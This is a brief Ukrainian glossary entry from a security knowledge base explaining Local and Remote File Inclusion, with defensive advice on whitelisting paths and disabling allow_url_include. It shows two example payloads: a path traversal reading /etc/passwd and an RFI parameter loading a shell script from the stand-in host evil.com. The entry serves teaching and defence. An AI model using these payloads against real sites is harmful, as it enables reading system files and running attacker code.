KB / Глосарій / Включення локального/віддаленого файлу

Включення локального/віддаленого файлу

File Inclusion
Також: LFI, RFI, Local File Inclusion, Remote File Inclusion
web UA EN

LFI (Local File Inclusion) і RFI (Remote File Inclusion) — вразливості, при яких параметр шляху до файлу не перевіряється, дозволяючи зловмисникові читати довільні файли або виконувати код.

  • LFI: ?page=../../../../etc/passwd
  • RFI: ?page=http://evil.com/shell.txt (потребує allow_url_include=On).

Захист

Whitelist дозволених шляхів, basename(), вимкнення allow_url_include.

Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?